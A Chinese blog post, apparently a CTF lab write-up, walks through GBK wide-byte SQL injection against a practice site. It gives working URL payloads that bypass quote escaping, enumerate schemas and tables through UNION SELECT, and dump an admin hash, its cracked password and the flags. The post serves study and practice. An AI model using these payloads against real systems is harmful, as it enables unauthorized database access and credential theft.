(学习)SQL注入--宽字节注入

SQL注入–宽字节注入

实践:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1

页面显示:

显然执行的查询语句是:

select id,title from news where id = '1'

其中id就是传入的参数

首先尝试了单引号

?id=1%27

发现页面输出

显然引号被转义了,在前面加了一个 \ 符号

尝试 如果构造 \ \ 那么后面的引号也就可以发挥作用了

想到了 宽字节注入 尝试

?id=1%df%23

发现报错了,说明还是存在注入的嘛

接着尝试

?id=1%df%df%23

发现,查询又恢复正常了,因为%df%df 双字节构成了一个汉字,而%df%23又不成汉字

检测到这里,发现应该是可以宽字节注入了,那么就开始吧

?id=1%a1%27

发现转义已经被宽字节合并了,那么后面我们就可以干正事了!

?id=-1%a1%27%20union%20select%201,2%20from%20news%23

可以看出构造了id=-1的假条件从而去执行后面的select语句,发现页面中的2已经可以成为注入点

先测试一下注入点好用不!

?id=-1%a1%27%20union%20select%201,version()%20from%20news%23

?id=-1%a1%27%20union%20select%201,database()%20from%20news%23

?id=-1%a1%27%20union%20select%201,user()%20from%20news%23

发现,别的没做啥过滤,那么就从系统自带数据库入手,看看能不能查出来别的数据库

?id=-1%a1%27%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA%20limit%200,1%23
#得到第一个库名
#主要语句:SCHEMA_NAME from information_schema.SCHEMATA limit 0,1#

尝试limit 0,2 想得到第二个库名,发现好像只有一个 information_schema 数据库,奇怪的很。

不管这么多,刚才用database()返回了当前的数据库 sae-chinalover ,就从这个数据库入手,查所有表!!

?id=-1%a1%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
# 主要语句:group_concat(table_name) from information_schema.tables where table_schema=database()#

发现有五个表:ctf、ctf1、ctf2、ctf3、ctf4、news

着手第一个ctf表

?id=-1%a1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x637466%23
#这边英文引号被转义了,所以本来的table_name='ctf'不能使用了
#这边使用了把'ctf'转成了16进制 -> 0x637466   
#当然也可以使用CHAR()10进制来表示 CHAR(99,116,102)
?id=-1%a1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(99,116,102)%23

发现ctf表中,有user,pw 字段

同样的方法进行

最后得到

表:

ctf:    user,pw
ctf1:   空表
ctf2:   id,content
ctf3:   id,email,token
ctf4:   id,flag
news:   id,title

最后啥都知道了,查询出来看看呗

#针对ctf表,
?id=-1%a1%27%20union%20select%201,group_concat(user,pw)%20from%20ctf%23

# ctf表
user:admin
pw:21dd715a3605b2a4053e80387116c190
#md5破解可得 
pw:njupt

同理,别的表进行查询 ctf2 表

# ctf2表
id:1020
content:no msg in 1020
id:1021
content:no msg in 1021 too
id:1022
content:no msg in 1022
id:1023
content:no msg in 1023~~~
id:1024
content:the flag is:nctf{query_in_mysql}
id:1025
content:no more

ctf3 表

id:1
email:admin@nuptzj.cn
token:0

ctf4 表

id:1
flag:nctf{gbk_3sqli}

news 表

id:1
title:Hello World!OVO
id:2
title:gbk_sql_injection
id:3
title:the fourth table

至此,所有注入已经完成,同时发现了两个flag

nctf{query_in_mysql}
nctf{gbk_3sqli}
  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值